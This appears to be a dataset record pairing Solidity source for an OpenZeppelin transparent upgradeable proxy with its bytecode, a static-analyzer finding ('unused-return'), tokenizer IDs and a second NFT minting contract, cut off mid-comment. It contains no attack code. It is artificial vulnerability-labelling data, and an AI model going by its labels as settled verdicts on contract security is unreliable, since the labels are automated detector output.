/** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require( Address.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } } // File: ../../../.brownie/packages/OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/proxy/ERC1967/ERC1967Proxy.sol pragma solidity ^0.8.0; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } // File: ../../../.brownie/packages/OpenZeppelin/openzeppelin-contracts@4.1.0/contracts/proxy/transparent/TransparentUpgradeableProxy.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address) { return _getAdmin(); } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212207ad3145cf50235f65ad357d621a07d917c1cea57080c459ba63b37e15aaeb5b964736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 26337, 2692, 2094, 27814, 12879, 23777, 2487, 2094, 2575, 2683, 2575, 17788, 23632, 2050, 2692, 2509, 4402, 16048, 2581, 2683, 9818, 2278, 22394, 2546, 2683, 15136, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 23533, 29378, 1012, 4012, 2006, 25682, 1011, 5709, 1011, 6021, 1008, 1013, 1013, 1013, 5371, 1024, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 2829, 2666, 1013, 14555, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1030, 1018, 1012, 1015, 1012, 1014, 1013, 8311, 1013, 24540, 1013, 24540, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2023, 10061, 3206, 3640, 1037, 2991, 5963, 3853, 2008, 10284, 2035, 4455, 2000, 2178, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,160
0x9650508d4a42a012c3ac7892db2142b6254a8517
// SPDX-License-Identifier: MIT pragma solidity ^0.8.1; import "./ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract LCC is ERC721A, Ownable { // Constants uint256 public constant MAX_SUPPLY = 10_000; // Variables uint256 public MINT_PRICE = 0.07 ether; mapping(address => bool) whitelistedAddressesOG; uint256 public timestampPublicSale = 1672527599; // init to 2022-12-31 23:59:59 CET, to be set by owner uint public percentageForTrading = 80; uint public TRANCHE = 1; /// @dev Base token URI used as a prefix by tokenURI(). string public baseTokenURI; constructor() ERC721A("Legendary Cobra Club", "LCC", 1000, MAX_SUPPLY) { baseTokenURI = "https://bafybeiad2xylgb47iw2ukcvhhfmtonuarf5e7k6xh3wvk5hyddxhan2imy.ipfs.dweb.link/metadata/"; } /// @dev Returns an URI for a given token ID. function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } /// @dev Sets the base token URI prefix. function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner { baseTokenURI = _baseTokenURI; } /// Sets the minimum mint token price. function setMintPrice(uint _mint_price) public onlyOwner { MINT_PRICE = _mint_price; } /// Sets the timestamp date when everyone can mint new token. function setTimestampPublicSale(uint256 _timestampPublicSale) public onlyOwner { timestampPublicSale = _timestampPublicSale; } /// Sets the percentage for trading. function setPercentageForTrading(uint _newPercentage) public onlyOwner { percentageForTrading = _newPercentage; } /// Sets the mint trannche. 1 to 10 function setTranche(uint _tranche) public onlyOwner { require(_tranche <=10, "tranche should be < 10"); TRANCHE = _tranche; } // Mint token if conditions are fulfilled. function mint(uint number) public payable { require( ((totalSupply() + number) / TRANCHE) <= 1000, "Max supply reached"); require(msg.value >= MINT_PRICE * number, "Transaction value is less than the min mint price"); if( timestampPublicSale > block.timestamp ) { require( verifyUserOG(msg.sender) , "You need to be whitelisted to mint token or you have wait for the public sale" ); _safeMint(msg.sender, number); } else { _safeMint(msg.sender, number); } } // Owner can mint without paying smart contract function mintFromOwner(uint number) public onlyOwner { require( ((totalSupply() + number) / TRANCHE) <= 1000, "Max supply reached"); _safeMint(msg.sender, number); } /// Add a new address to the OG whitelist mapping. function addWhitelistUserOG(address[] memory newWhitelistedUserOG) public onlyOwner { for (uint i=0; i<newWhitelistedUserOG.length; i++) { require( !verifyUserOG( newWhitelistedUserOG[i] ) , "already OG" ); whitelistedAddressesOG[ newWhitelistedUserOG[i] ] = true; } } /// Verify is an address is whitelisted OG. function verifyUserOG(address _whitelistedAddressOG) public view returns(bool) { return whitelistedAddressesOG[_whitelistedAddressOG]; } function getBalance() public view returns(uint) { return address(this).balance; } function withdrawMoneyTo(address payable _to) public onlyOwner { _to.transfer(getBalance() * (100 - percentageForTrading) / 100); } function withdrawMoneyForTrading() public onlyOwner { payable(msg.sender).transfer(getBalance() * percentageForTrading / 100); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives 